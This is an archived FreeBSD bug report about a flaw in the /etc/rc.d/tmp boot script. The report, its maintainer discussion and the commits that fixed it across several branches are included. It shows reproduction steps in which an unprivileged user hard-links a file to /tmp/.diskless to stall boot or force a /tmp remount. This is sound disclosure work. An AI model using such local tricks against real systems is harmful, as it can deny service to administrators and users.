From nobody@FreeBSD.org  Mon Dec  7 22:44:25 2009
Return-Path: <nobody@FreeBSD.org>
Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34])
	by hub.freebsd.org (Postfix) with ESMTP id 42D71106568B
	for <freebsd-gnats-submit@FreeBSD.org>; Mon,  7 Dec 2009 22:44:25 +0000 (UTC)
	(envelope-from nobody@FreeBSD.org)
Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21])
	by mx1.freebsd.org (Postfix) with ESMTP id 315378FC12
	for <freebsd-gnats-submit@FreeBSD.org>; Mon,  7 Dec 2009 22:44:25 +0000 (UTC)
Received: from www.freebsd.org (localhost [127.0.0.1])
	by www.freebsd.org (8.14.3/8.14.3) with ESMTP id nB7MiOXs069999
	for <freebsd-gnats-submit@FreeBSD.org>; Mon, 7 Dec 2009 22:44:24 GMT
	(envelope-from nobody@www.freebsd.org)
Received: (from nobody@localhost)
	by www.freebsd.org (8.14.3/8.14.3/Submit) id nB7MiOwx069998;
	Mon, 7 Dec 2009 22:44:24 GMT
	(envelope-from nobody)
Message-Id: <200912072244.nB7MiOwx069998@www.freebsd.org>
Date: Mon, 7 Dec 2009 22:44:24 GMT
From: Jon Passki <jon@passki.us>
To: freebsd-gnats-submit@FreeBSD.org
Subject: /etc/rc.d/tmp may act incorrectly based on unprivleged local user actions 
X-Send-Pr-Version: www-3.1
X-GNATS-Notify:

>Number:         141258
>Category:       conf
>Synopsis:       /etc/rc.d/tmp may act incorrectly based on unprivleged local user actions
>Confidential:   no
>Severity:       non-critical
>Priority:       low
>Responsible:    jh
>State:          closed
>Quarter:        
>Keywords:       
>Date-Required:  
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Mon Dec 07 22:50:06 UTC 2009
>Closed-Date:    Tue Mar 30 15:44:50 UTC 2010
>Last-Modified:  Tue Mar 30 15:44:50 UTC 2010
>Originator:     Jon Passki
>Release:        RELENG_8
>Organization:
Quixotic Security
>Environment:
test-8# uname -a
FreeBSD test-8 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21 15:48:17 UTC 2009     root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386

>Description:
/etc/rc.d/tmp may remount /tmp or halt the boot process based on unprivleged local user actions.  The default behavior of tmpmfs is defined in /etc/defaults/rc.conf and set to AUTO. This causes the '*' case to be hit in the /etc/rc.d/tmp script. If a local user creates a file (not a directory) in /tmp called .diskless and the system is rebooted or the script is called directly, the system will either drop into /bin/sh prior to reaching DAEMON or the system will remount /tmp with a potentially smaller size than expected. Both of these conditions are probably not ideal and the prior condition could lead to a boot-up DoS, depending upon local system configurations. The latter condition is harder to fix once the system is in multi-user mode, and especially if users connect via SSH. This is because the /tmp directory will contain open files and/or sockets. So, a fix in this case would also require dropping the system into single-user mode.

Refer to http://blog.cykyc.org/2009/12/issue-with-freebsd-etcrcdtmp-script.html for a full write-up.
>How-To-Repeat:
Sample attack on a symlink'd /tmp:

> ls -la /tmp
lrwxr-xr-x  1 root  wheel  7 Dec  7 15:55 /tmp -> var/tmp
> cd /tmp
> ll
total 12
drwxrwxrwt  2 root  wheel  512 Dec  7 15:55 .ICE-unix
drwxrwxrwt  2 root  wheel  512 Dec  7 15:55 .X11-unix
drwxrwxrwt  2 root  wheel  512 Dec  7 15:55 .XIM-unix
drwxrwxrwt  2 root  wheel  512 Dec  7 15:55 .font-unix
-rw-r--r--  1 root  wheel    0 Dec  7 15:55 foo
drwxrwxrwt  2 root  wheel  512 Dec  7 15:44 vi.recover
> ln foo .diskless
> ll
total 12
drwxrwxrwt  2 root  wheel  512 Dec  7 15:55 .ICE-unix
drwxrwxrwt  2 root  wheel  512 Dec  7 15:55 .X11-unix
drwxrwxrwt  2 root  wheel  512 Dec  7 15:55 .XIM-unix
-rw-r--r--  2 root  wheel    0 Dec  7 15:55 .diskless
drwxrwxrwt  2 root  wheel  512 Dec  7 15:55 .font-unix
-rw-r--r--  2 root  wheel    0 Dec  7 15:55 foo
drwxrwxrwt  2 root  wheel  512 Dec  7 15:44 vi.recover
> su -
Password:
test-8# /etc/rc.d/tmp start
*** /tmp is a symlink to a non-writable area!
dropping into shell, ^D to continue anyway.
#


Sample attack on a mounted /tmp:
> mount
/dev/ad0s1a on / (ufs, local)
devfs on /dev (devfs, local, multilabel)
/dev/ad0s1f on /usr (ufs, local, soft-updates)
/dev/ad0s1d on /var (ufs, local, soft-updates)
/dev/ad0s1e on /tmp (ufs, local, soft-updates)
> df /tmp
Filesystem  1K-blocks Used  Avail Capacity  Mounted on
/dev/ad0s1e    507630   16 467004     0%    /tmp
> ll /tmp
total 14
drwxrwxrwt  2 root  wheel     512 Dec  7 15:22 .ICE-unix
drwxrwxrwt  2 root  wheel     512 Dec  7 15:22 .X11-unix
drwxrwxrwt  2 root  wheel     512 Dec  7 15:22 .XIM-unix
drwxrwxrwt  2 root  wheel     512 Dec  7 15:22 .font-unix
drwxrwxr-x  2 root  operator  512 Dec  7 15:10 .snap
-rw-r--r--  1 root  wheel       0 Dec  7 15:25 foo
> ln foo .diskless
> su -
Password:
test-8# /etc/rc.d/tmp start
test-8# mount
/dev/ad0s1a on / (ufs, local)
devfs on /dev (devfs, local, multilabel)
/dev/ad0s1f on /usr (ufs, local, soft-updates)
/dev/ad0s1d on /var (ufs, local, soft-updates)
/dev/ad0s1e on /tmp (ufs, local, soft-updates)
/dev/md0 on /tmp (ufs, local)
test-8# df /tmp
Filesystem 1K-blocks Used Avail Capacity  Mounted on
/dev/md0       19566    4 17998     0%    /tmp
test-8# ll /tmp
total 2
drwxrwxr-x  2 root  operator  512 Dec  7 15:59 .snap

>Fix:
No fix at this time.

Recommendation:
My initial idea at a fix is to include a new variable in /etc/rc.d/cleartmp that would be set to YES in /etc/defaults/rc.conf. The variable would be similar to clear_tmp_X (maybe called clear_tmp_safe?), calling a routine to wipe and remake the directory /tmp/.diskless. Once this script was ran by root, a subsequent call to /etc/rc.d/tmp upon reboot or directory would act right for most cases.

Diskless clients should be OK, though, as long as /tmp/.diskless is not included in /etc/mtree/BSD.root.dist. When /etc/rc.d/cleartmp would run the first time, it would already be on a memory /tmp file system (assuming /conf doesn't contain anything to point to a residual mount point that could have been tampered). Clients also using memory-backed /tmp should be OK, since the variable will force a creation of a memory-backed /tmp mount point. But, some other eyes should look at this prior to changing the behavior.

>Release-Note:
>Audit-Trail:
Responsible-Changed-From-To: freebsd-bugs->freebsd-rc 
Responsible-Changed-By: linimon 
Responsible-Changed-When: Tue Dec 8 03:01:22 UTC 2009 
Responsible-Changed-Why:  
Over to maintainer(s). 

http://www.freebsd.org/cgi/query-pr.cgi?pr=141258 

From: Jaakko Heinonen <jh@FreeBSD.org>
To: bug-followup@FreeBSD.org, jon@passki.us
Cc:  
Subject: Re: conf/141258: /etc/rc.d/tmp may act incorrectly based on
 unprivleged local user actions
Date: Fri, 5 Mar 2010 08:15:40 +0200

 Here is a proposed minimal fix for the problem. mktemp(1) should be
 available because the script requires mountcritremote. (Can someone
 confirm this?)
 
 %%%
 Index: etc/rc.d/tmp
 ===================================================================
 --- etc/rc.d/tmp	(revision 204194)
 +++ etc/rc.d/tmp	(working copy)
 @@ -51,8 +51,8 @@ case "${tmpmfs}" in
  [Nn][Oo])
  	;;
  *)
 -	if /bin/mkdir -p /tmp/.diskless 2> /dev/null; then
 -		rmdir /tmp/.diskless
 +	if _tmpdir=$(mktemp -d -q /tmp/.diskless.XXXXXX); then
 +		rmdir ${_tmpdir}
  	else
  		if [ -h /tmp ]; then
  			echo "*** /tmp is a symlink to a non-writable area!"
 %%%

From: Jon Passki <jon@passki.us>
To: Jaakko Heinonen <jh@freebsd.org>
Cc: bug-followup@freebsd.org
Subject: Re: conf/141258: /etc/rc.d/tmp may act incorrectly based on 
	unprivleged local user actions
Date: Fri, 5 Mar 2010 06:29:06 -0600

 On Fri, Mar 5, 2010 at 12:15 AM, Jaakko Heinonen <jh@freebsd.org> wrote:
 >
 > Here is a proposed minimal fix for the problem. mktemp(1) should be
 > available because the script requires mountcritremote. (Can someone
 > confirm this?)
 >
 > %%%
 > Index: etc/rc.d/tmp
 > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
 > --- etc/rc.d/tmp =A0 =A0 =A0 =A0(revision 204194)
 > +++ etc/rc.d/tmp =A0 =A0 =A0 =A0(working copy)
 > @@ -51,8 +51,8 @@ case "${tmpmfs}" in
 > =A0[Nn][Oo])
 > =A0 =A0 =A0 =A0;;
 > =A0*)
 > - =A0 =A0 =A0 if /bin/mkdir -p /tmp/.diskless 2> /dev/null; then
 > - =A0 =A0 =A0 =A0 =A0 =A0 =A0 rmdir /tmp/.diskless
 > + =A0 =A0 =A0 if _tmpdir=3D$(mktemp -d -q /tmp/.diskless.XXXXXX); then
 > + =A0 =A0 =A0 =A0 =A0 =A0 =A0 rmdir ${_tmpdir}
 > =A0 =A0 =A0 =A0else
 > =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0if [ -h /tmp ]; then
 > =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0echo "*** /tmp is a symlin=
 k to a non-writable area!"
 > %%%
 >
 
 Seems like an appropriate fix. I don't have a way to test this out at
 the moment though.
 
 Jon
Responsible-Changed-From-To: freebsd-rc->jh 
Responsible-Changed-By: jh 
Responsible-Changed-When: Fri Mar 12 06:35:13 UTC 2010 
Responsible-Changed-Why:  
Take. 

http://www.freebsd.org/cgi/query-pr.cgi?pr=141258 

From: dfilter@FreeBSD.ORG (dfilter service)
To: bug-followup@FreeBSD.org
Cc:  
Subject: Re: conf/141258: commit references a PR
Date: Sat, 13 Mar 2010 12:02:59 +0000 (UTC)

 Author: jh
 Date: Sat Mar 13 12:02:44 2010
 New Revision: 205121
 URL: http://svn.freebsd.org/changeset/base/205121
 
 Log:
   Use an unique directory name instead of hardcoded /tmp/.diskless.
   A malicious user could create a file named /tmp/.diskless and cause
   the script to misbehave.
   
   PR:		conf/141258
   Reported by:	Jon Passki
   MFC after:	1 week
 
 Modified:
   head/etc/rc.d/tmp
 
 Modified: head/etc/rc.d/tmp
 ==============================================================================
 --- head/etc/rc.d/tmp	Sat Mar 13 11:51:18 2010	(r205120)
 +++ head/etc/rc.d/tmp	Sat Mar 13 12:02:44 2010	(r205121)
 @@ -51,8 +51,8 @@ case "${tmpmfs}" in
  [Nn][Oo])
  	;;
  *)
 -	if /bin/mkdir -p /tmp/.diskless 2> /dev/null; then
 -		rmdir /tmp/.diskless
 +	if _tmpdir=$(mktemp -d -q /tmp/.diskless.XXXXXX); then
 +		rmdir ${_tmpdir}
  	else
  		if [ -h /tmp ]; then
  			echo "*** /tmp is a symlink to a non-writable area!"
 _______________________________________________
 svn-src-all@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/svn-src-all
 To unsubscribe, send any mail to "svn-src-all-unsubscribe@freebsd.org"
 
State-Changed-From-To: open->patched 
State-Changed-By: jh 
State-Changed-When: Sat Mar 13 12:20:08 UTC 2010 
State-Changed-Why:  
Fixed in head (r205121). 

http://www.freebsd.org/cgi/query-pr.cgi?pr=141258 

From: dfilter@FreeBSD.ORG (dfilter service)
To: bug-followup@FreeBSD.org
Cc:  
Subject: Re: conf/141258: commit references a PR
Date: Tue, 23 Mar 2010 16:45:39 +0000 (UTC)

 Author: jh
 Date: Tue Mar 23 16:45:29 2010
 New Revision: 205518
 URL: http://svn.freebsd.org/changeset/base/205518
 
 Log:
   MFC r205121:
   
   Use an unique directory name instead of hardcoded /tmp/.diskless.
   A malicious user could create a file named /tmp/.diskless and cause
   the script to misbehave.
   
   PR:		conf/141258
 
 Modified:
   stable/8/etc/rc.d/tmp
 Directory Properties:
   stable/8/etc/   (props changed)
 
 Modified: stable/8/etc/rc.d/tmp
 ==============================================================================
 --- stable/8/etc/rc.d/tmp	Tue Mar 23 15:14:45 2010	(r205517)
 +++ stable/8/etc/rc.d/tmp	Tue Mar 23 16:45:29 2010	(r205518)
 @@ -51,8 +51,8 @@ case "${tmpmfs}" in
  [Nn][Oo])
  	;;
  *)
 -	if /bin/mkdir -p /tmp/.diskless 2> /dev/null; then
 -		rmdir /tmp/.diskless
 +	if _tmpdir=$(mktemp -d -q /tmp/.diskless.XXXXXX); then
 +		rmdir ${_tmpdir}
  	else
  		if [ -h /tmp ]; then
  			echo "*** /tmp is a symlink to a non-writable area!"
 _______________________________________________
 svn-src-all@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/svn-src-all
 To unsubscribe, send any mail to "svn-src-all-unsubscribe@freebsd.org"
 

From: dfilter@FreeBSD.ORG (dfilter service)
To: bug-followup@FreeBSD.org
Cc:  
Subject: Re: conf/141258: commit references a PR
Date: Tue, 30 Mar 2010 15:25:36 +0000 (UTC)

 Author: jh
 Date: Tue Mar 30 15:25:16 2010
 New Revision: 205882
 URL: http://svn.freebsd.org/changeset/base/205882
 
 Log:
   MFC r205121:
   
   Use an unique directory name instead of hardcoded /tmp/.diskless.
   A malicious user could create a file named /tmp/.diskless and cause
   the script to misbehave.
   
   PR:		conf/141258
 
 Modified:
   stable/7/etc/rc.d/tmp
 Directory Properties:
   stable/7/etc/   (props changed)
 
 Modified: stable/7/etc/rc.d/tmp
 ==============================================================================
 --- stable/7/etc/rc.d/tmp	Tue Mar 30 13:55:15 2010	(r205881)
 +++ stable/7/etc/rc.d/tmp	Tue Mar 30 15:25:16 2010	(r205882)
 @@ -49,8 +49,8 @@ case "${tmpmfs}" in
  [Nn][Oo])
  	;;
  *)
 -	if /bin/mkdir -p /tmp/.diskless 2> /dev/null; then
 -		rmdir /tmp/.diskless
 +	if _tmpdir=$(mktemp -d -q /tmp/.diskless.XXXXXX); then
 +		rmdir ${_tmpdir}
  	else
  		if [ -h /tmp ]; then
  			echo "*** /tmp is a symlink to a non-writable area!"
 _______________________________________________
 svn-src-all@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/svn-src-all
 To unsubscribe, send any mail to "svn-src-all-unsubscribe@freebsd.org"
 

From: dfilter@FreeBSD.ORG (dfilter service)
To: bug-followup@FreeBSD.org
Cc:  
Subject: Re: conf/141258: commit references a PR
Date: Tue, 30 Mar 2010 15:26:25 +0000 (UTC)

 Author: jh
 Date: Tue Mar 30 15:26:12 2010
 New Revision: 205883
 URL: http://svn.freebsd.org/changeset/base/205883
 
 Log:
   MFC r205121:
   
   Use an unique directory name instead of hardcoded /tmp/.diskless.
   A malicious user could create a file named /tmp/.diskless and cause
   the script to misbehave.
   
   PR:		conf/141258
 
 Modified:
   stable/6/etc/rc.d/tmp
 Directory Properties:
   stable/6/etc/   (props changed)
 
 Modified: stable/6/etc/rc.d/tmp
 ==============================================================================
 --- stable/6/etc/rc.d/tmp	Tue Mar 30 15:25:16 2010	(r205882)
 +++ stable/6/etc/rc.d/tmp	Tue Mar 30 15:26:12 2010	(r205883)
 @@ -49,8 +49,8 @@ case "${tmpmfs}" in
  [Nn][Oo])
  	;;
  *)
 -	if /bin/mkdir -p /tmp/.diskless 2> /dev/null; then
 -		rmdir /tmp/.diskless
 +	if _tmpdir=$(mktemp -d -q /tmp/.diskless.XXXXXX); then
 +		rmdir ${_tmpdir}
  	else
  		if [ -h /tmp ]; then
  			echo "*** /tmp is a symlink to a non-writable area!"
 _______________________________________________
 svn-src-all@freebsd.org mailing list
 http://lists.freebsd.org/mailman/listinfo/svn-src-all
 To unsubscribe, send any mail to "svn-src-all-unsubscribe@freebsd.org"
 
State-Changed-From-To: patched->closed 
State-Changed-By: jh 
State-Changed-When: Tue Mar 30 15:44:49 UTC 2010 
State-Changed-Why:  
Fixed in head, stable/8, stable/7 and stable/6. 

http://www.freebsd.org/cgi/query-pr.cgi?pr=141258 
>Unformatted:
